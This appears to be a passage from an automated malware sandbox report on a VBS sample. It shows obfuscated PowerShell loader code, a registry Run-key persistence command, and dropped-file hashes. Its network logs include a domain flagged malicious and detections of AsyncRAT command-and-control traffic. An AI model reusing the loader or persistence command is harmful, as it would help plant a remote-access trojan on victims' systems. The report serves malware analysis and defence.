');$Udlandes=Drumread 'O er$Tr kTKalki chylBiprsMothtDyreu.rianUndedTaleeVveknDiskd orleRep 9Frid1Poli.UsmmD UndoScorwPoufnSnkel NakoE evaSy td,kstFAlloiPudslTilsemono(mo.e$AzotBforma erkcArseoParmnFolkiRenszka reD so,Jenh$IlliNAr aaTolvvIn snEf el MufoLifleU spsP ra)Va l ';$Navnloes=$Phalanger132;Cannibalistic3 (Drumread 'P eu$BulmG llelCyanOHal BSelfa KotlTr,b: ammA AntCCre.HSe,iiSlavl OpelGravIa beZFampE kre=Pil (SiksTRo kEAfs SSchetOptr-Mi.kP F.rA FriTRev.H Vgk Sam $skalNFunkaBeskvIdrtnButllLo,toFerteKlagSVelp)M rg ');while (!$Achillize) {Cannibalistic3 (Drumread ' De,$GarrgKic lStnnoN,tmb Sena ShelSubc: ompACanduPosit rnto Indm DifaKunztTr ncJetaaDdskf DateDias= .bo$ semtMin.rOveru vole Hex ') ;Cannibalistic3 $Udlandes;Cannibalistic3 (Drumread 'AnneS ComTAut,AEft rTranT Por- NedsInfrlSnreETende ocipGrav Udme4 ,ub ');Cannibalistic3 (Drumread 'Mel,$V,ksgRev,l braO,ubdbCo.saGebaLF ih: obaParacAdmiHButti,entlReakl Pr i ulzGenkeAuto=Bl c(Phytt Vole.dsasscout bd,-BuslPEndoALit t npeHJamr Hnde$ZincNUdmaa.rovvdegrNRadiLUlpaOad.nEUgleS Irr)enaa ') ;Cannibalistic3 (Drumread ',ngl$Mellg TreLYakooClarB DivAOmlaltorn: PreL ExeiPascnTil.dGant=tetr$ EtygM inlForuoPrivbU loaSynsLFore:HipppAb,aeSupebCa,ne Pejr DecEAnn.sranu+Udd +Spek%Orch$RetefSofiLDeziu GraO A lb emiO Emer Cyki S etRhodE nde.fictcA heoAdmiUBildn M jtBirk ') ;$Baconize=$Fluoborite[$Lind];}$postyard=296341;$labelling=30775;Cannibalistic3 (Drumread ' dla$OverGinsplNa.iOIntebSh naH.phlt ot:Niv,SC.ameCottBAmt.aBr,ctPick S,ek= dko Str.glg,eE.eazTSejl- harcslugOSsteN EtkT Snre B,enBrneTLark Regi$Disfn polaCo.yvSa gNa beL utpO scrETaboSSati ');Cannibalistic3 (Drumread 'T ol$BestgKnallSt.koSlukb DemaBu flTe.m:kopiFVrvla QuibU flrSucciPostkInvee elr rste AbsnFastdKnubeStro1,xle0su.e0Scin Gudi=Sjak G lg[DomiSHandyLoensalsttFlskeIssum ete. I vCKoneoS.yrnIn evPokeeS ndrtekot Ta ]Azte:Mde :sk.lFdi,arInd o ffsmStanBradia TrasP ofeUrti6Inte4ElemSLum tPul r Mo.iL stnTjl g ple( Lif$V ksSTilbeGensbPr maFodbtLagr)Forn ');Cannibalistic3 (Drumread ' der$ halGMisoLSusyoThybBH,xaaTeenLSo f:ProdSTvivU verPaca,EAm hR Spar fplOPreiySnudAL bhlDriv a.kv=Fore Va d[oversUds,yanimsIjestLucaeRumrMHype. FemTAssieRa px topt Bib.ArtsE ,kunFarmC Pr OByg dMudfI LenN Kumg Kog]Ding:Dulc:ReviAW,atsSkygC CubIAl siKbsl.Tv,mgChorE GilTDic S .erT No r BusIFlleNMi dgPoly(Tris$ EmpFSemiABaisbPr er C li F rkF.stepla.RVin EKunsnCrosDBackeTryl1Eu.a0Rapa0Corn)Squa ');Cannibalistic3 (Drumread 'Sner$,varg UntLdawdo rgeb DesaTerml aad:S cag kvaaOmsksZo pfKoncoGsteR LanMHero=Pris$Gu.gSArraUDronpS reEResoRS ksrPatioHypeyAkkvaCirklBlin.Non.sEighU DisbPudgSSkriTNo dr,iliIIntrnMad gUni (Form$MajoPSm bO AllsAlveTChefyf roa vaRSkredIr e,Reak$enehlKodeA TjabPassePr tl ,obLCriaiLykkN Kilg.ill)Elae ');Cannibalistic3 $Gasform;
(PID) Process:(5616) msiexec.exeKey:HKEY_CURRENT_USER\Environment
Operation:writeName:Skrping
Value:
c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
(PID) Process:(3864) reg.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:writeName:Untermed
Value:
%Skrping% -windowstyle 1 $Oprejsningerne=(gp -Path 'HKCU:\Software\Alpiste\').Osee;%Skrping% ($Oprejsningerne)
Executable files
0
Suspicious files
8
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
6660powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:85FBB94F01D368BD33575D5D951DA9DA
SHA256:227844D038FAF0795A2BC00D15A224E6E7B3CD6ACDFC4CC34A4CF1E13924AB70
6660powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_e05cixw4.dvc.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6288powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_dbow1rse.sfq.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5616msiexec.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\204C1AA6F6114E6A513754A2AB5760FA_90B17EDAFA78E1CF65547D865DF1EA1Bbinary
MD5:396BB0EB801BE3B0221A1C091ABE149A
SHA256:66D4D43FC9ECF10EDFCE75100097BA64360DCD98D4E9E287D492876EEC80C851
5616msiexec.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3F26ED5DE6B4E859CCCA6035ECB8D9CBbinary
MD5:DB1558EB1001878E8A3C958F83724E1A
SHA256:341BA072382E892D602A30D780B19BD9EEEEC8783BCEE7EF402557D8CB27D8D8
6660powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0z2naide.s03.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6288powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_effokw5j.jvn.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
6660powershell.exeC:\Users\admin\AppData\Roaming\ferrels.Prvtext
MD5:A253E328B722E91602B6CF9B456E785B
SHA256:AA3D6378004D7E610AE438D2AB0F16A5507ADF67D06E47CD8999AA8C4993B66B
5616msiexec.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711Ebinary
MD5:7194820CC46C7516FB0C7B7C4FB99060
SHA256:C7498628B06E8B53DAAC1F2FCFF44B618E596A8803318DDB8FD14EA7CB5BEFDB
5616msiexec.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711Ebinary
MD5:8525BF44C29D7455DEAE7BB5A155EB20
SHA256:64A1CBF9EF9EC07AA72D4151CE09C2CDD7D37528FA8E06552C6A7204CB8C3A9C
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
38
DNS requests
23
Threats
6

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5488
MoUsoCoreWorker.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
5488
MoUsoCoreWorker.exe
GET
200
2.16.241.12:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1880
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
6680
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
3772
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
3772
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
5616
msiexec.exe
GET
200
104.18.38.233:80
http://ocsp.comodoca.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTtU9uFqgVGHhJwXZyWCNXmVR5ngQUoBEKIz6W8Qfs4q8p74Klf9AwpLQCEDlyRDr5IrdR19NsEN0xNZU%3D
unknown
—
—
whitelisted
5616
msiexec.exe
GET
200
104.18.38.233:80
http://ocsp.usertrust.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRyyuDOSqb8BtprWZSAvBT9kFoYdwQU%2BftQxItnu2dk%2FoMhpqnOP1WEk5kCEQDW5AVPRSjeFM0jjZDI5oYe
unknown
—
—
whitelisted
5616
msiexec.exe
GET
200
104.18.38.233:80
http://ocsp.usertrust.com/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTNMNJMNDqCqx8FcBWK16EHdimS6QQUU3m%2FWqorSs9UgOHYm8Cd8rIDZssCEQCTi7COYph7T3X5jLalBFyW
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
6944
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3524
RUXIMICS.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5488
MoUsoCoreWorker.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4360
SearchApp.exe
2.23.209.150:443
www.bing.com
Akamai International B.V.
GB
whitelisted
—
—
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
1880
svchost.exe
20.190.159.23:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
1880
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
780
svchost.exe
184.28.89.167:443
go.microsoft.com
AKAMAI-AS
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.124.78.146
  • 4.231.128.59
  • 20.73.194.208
whitelisted
www.bing.com
  • 2.23.209.150
  • 2.23.209.176
  • 2.23.209.149
  • 2.23.209.158
  • 2.23.209.182
  • 2.23.209.177
  • 2.23.209.179
  • 2.23.209.181
  • 2.23.209.140
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
google.com
  • 142.250.185.142
whitelisted
login.live.com
  • 20.190.159.23
  • 20.190.159.71
  • 20.190.159.75
  • 40.126.31.67
  • 20.190.159.4
  • 20.190.159.73
  • 20.190.159.2
  • 20.190.159.68
whitelisted
th.bing.com
  • 2.23.209.150
  • 2.23.209.179
  • 2.23.209.149
  • 2.23.209.176
  • 2.23.209.181
  • 2.23.209.182
  • 2.23.209.177
  • 2.23.209.140
  • 2.23.209.158
whitelisted
go.microsoft.com
  • 184.28.89.167
whitelisted
filedn.eu
  • 45.131.244.47
malicious
crl.microsoft.com
  • 2.16.241.12
  • 2.16.241.19
whitelisted
www.microsoft.com
  • 88.221.169.152
whitelisted

Threats

PID
Process
Class
Message
2172
svchost.exe
Potentially Bad Traffic
ET INFO DYNAMIC_DNS Query to a *.bumbleshrimp .com Domain
5616
msiexec.exe
Domain Observed Used for C2 Detected
REMOTE [ANY.RUN] AsyncRAT SSL certificate
5616
msiexec.exe
Domain Observed Used for C2 Detected
ET MALWARE Generic AsyncRAT Style SSL Cert
5616
msiexec.exe
Domain Observed Used for C2 Detected
ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server)
2 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
tartarises.vbs